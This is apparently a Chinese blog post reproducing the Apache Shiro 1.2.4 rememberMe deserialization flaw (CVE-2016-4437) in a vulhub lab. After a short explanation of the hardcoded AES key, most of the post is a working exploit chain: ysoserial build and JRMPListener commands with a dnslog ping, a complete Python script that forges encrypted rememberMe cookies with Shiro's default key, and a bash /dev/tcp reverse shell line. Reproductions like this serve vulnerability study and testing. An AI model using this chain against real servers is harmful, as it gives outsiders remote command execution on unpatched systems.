shiro反序列化漏洞复现(CVE-2016-4437)

参考文章:

[漏洞复现]Apache Shiro 1.2.4反序列化-腾讯云开发者社区-腾讯云

Apache的Shiro框架提供了记住我的功能(RememberMe)省去用户短时间内再次登录输入账号密码的操作,用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:

检索RememberMe Cookie的值Base 64解码AES解密(加密密钥硬编码)进行反序列化操作(未过滤处理)

使用Java序列化 ---> 使用密钥进行AES加密 ---> Base64加密 ---> 得到加密后的Remember Me内容

同时在识别用户身份的时候,需要对Remember Me的字段进行解密,解密的顺序为:

Remember Me加密内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->Java反序列化

攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令。

问题出在AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化,AES加密,Base64编码,然后将其作为cookie的Remember Me字段发送,Shiro将RememberMe进行解密并且反序列化,最终造成反序列化漏洞。

这里使用vulhub进行复现,进入CVE-2016-4437执行

docker compose up -d

使用docker ps查看服务端口8080

测试漏洞存在情况: 

抓取登录重放包,可以看到rememberMe=deleteMe字段,很可能存在漏洞

使用反序列化利用工具来监听7878端口

这里需要ysoserial和marshalsec配合使用,在攻击机上面启动marshalsec,然后在ysoserial目录下面含有pom.xml的目录下执行:

source /etc/profile
mvn -v (查看mvn版本)
mvn clean package -DskipTests

需要切换到含有jar包的目录下面执行

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7878 CommonsCollections5 "ping ykzx0g.dnslog.cn"

然后生成payload:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):    
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)    
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()  
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #这里替换密钥
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)    
    file_body = pad(popen.stdout.read())    
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    
    return base64_ciphertext
    
if __name__ == '__main__':   
    payload = encode_rememberme(sys.argv[1])    
    print("rememberMe={0}".format(payload.decode()))

将生成的payload复制到请求包cookie的位置, 发包

可以看到监听端口有流量

然后看看doslog平台有没有回显,发现执行成功!

接下来是反弹shell

linux的反弹shell是

bash -i >& /dev/tcp/127.0.0.1/8888 0>&1

这里需要将反弹shell的命令进行java base64编码处理

编码网站

Runtime.exec Payload Generater | AresX's Blog

重新生成payload,发送包

 可以看到,已经能够远程执行任意命令了

反弹shell成功!

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值